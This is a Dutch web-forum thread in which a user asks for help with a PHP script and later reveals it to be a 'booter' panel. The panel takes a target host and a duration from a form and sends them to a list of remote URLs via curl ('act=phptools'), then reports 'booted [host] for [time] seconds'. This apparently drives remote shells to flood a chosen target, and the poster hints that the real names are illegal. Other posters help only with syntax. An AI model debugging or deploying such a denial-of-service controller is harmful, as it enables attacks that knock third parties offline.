Hey mensen, ik probeer iets in iets in iets te maken :D

Even serieus, dit is mijn code:

<?php
if (isset($_POST['1']) && isset($_POST['2'])) {
    $1 .= htmlspecialchars($_POST['1']);
    $2 .= htmlspecialchars($_POST['2']);
    
    $get .= file_get_contents('lijst.txt');
    $get .= '?checker&1='.$1.'&2='.$2.'';
    $ch   = curl_init();
    curl_setopt($ch, CURLOPT_URL, $get);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    echo  $get;
} else {
?>
<form method="POST" action="">
<p>1</p>
<input type="text" name="1" placeholder="1">
<p>2</p>
<input type="text" name="2" placeholder="2">
<br>
<input type="submit" value="test">
</form>
<?php
}
?>

Dit zou naar bijvoorbeeld 2 paginas gaan en:

http://kaas.nl?checker&1=1&2=2
http://kaas2.nl?checker&1=1&2=2
Maar het weergeeft:

http://kaas.nl ?checker&1=1&2=2
http://kaas2.nl ?checker&1=1&2=2

Hoe fix ik dit?!
Lees eens terug in dit topic wat Santhe zei.
Dat heeft er niks mee te maken, normaal heten ze anders
Je kan GEEN cijfers als variabele gebruiken, gebruik gewoon LOGISCHE namen.

[size=xsmall]Toevoeging op 11/05/2014 19:49:06:[/size]

Je kan GEEN cijfers als variabele gebruiken, gebruik gewoon LOGISCHE namen.
Ze heten ook niet zo :P, is een voorbeeld want normaal heten ze nogal "illegaal"
Wat gaat er mis?

- Waar komen $1 en $2 ineens vandaan, behalve het feit dat dat niet mag in PHP zijn ze nergens gedefinieerd.
- Lekker mooi ingesprongen...
- "isset($_POST['1']) && isset($_POST['1'])" beetje dubbelop...
- Ook curl heeft foutafhandeling
Enkel de laatste wordt nu goed weergeven zonder spatie, is /n een optie

[size=xsmall]Toevoeging op 11/05/2014 19:59:00:[/size]

Wouter J op 11/05/2014 19:57:36

Wat gaat er mis?

- Waar komen $1 en $2 ineens vandaan, behalve het feit dat dat niet mag in PHP zijn ze nergens gedefinieerd.
- Lekker mooi ingesprongen...
- "isset($_POST['1']) && isset($_POST['1'])" beetje dubbelop...
- Ook curl heeft foutafhandeling


Die shit is als voorbeeld..
>> Die shit is als voorbeeld..

Zou wel handig zijn als wij de code kregen die je aan het maken bent. Dat helpt erg in het helpen met de code :) Tevens moet je je gaan afvragen of je geschikt bent voor programmeren als je je eigen code na 2 jaar programmeren nog "shit" noemt...
Nou, oke dan:

<?php

error_reporting(-1);
if (isset($_POST['host']) && isset($_POST['time'])) {
    $host = htmlspecialchars($_POST['host']);
    $time = htmlspecialchars($_POST['time']);
    

$urls = file('http://*nl/*.txt');
foreach($urls as $get) {
$get = $get.'?act=phptools&host=' . $host . '&time=' . $time . ' ';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $get);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    echo 'booted ' . $host . ' for ' . $time . ' seconds ';
    echo $get;
}
} else {
?>
<form method="POST" action="">
<p>Host</p>
<input type="text" name="host" placeholder="Host">
<p>Time</p>
<input type="text" name="time" placeholder="Time">
<br>
<input type="submit" value="test">
</form>
<?php
}
?>


Moet ik voor vriend maken.

[size=xsmall]Toevoeging op 12/05/2014 15:44:21:[/size]

Bump?
Nog maar even een "bump"
Wat is het probleem? Wat is je *relevante* uitvoer?

Reageren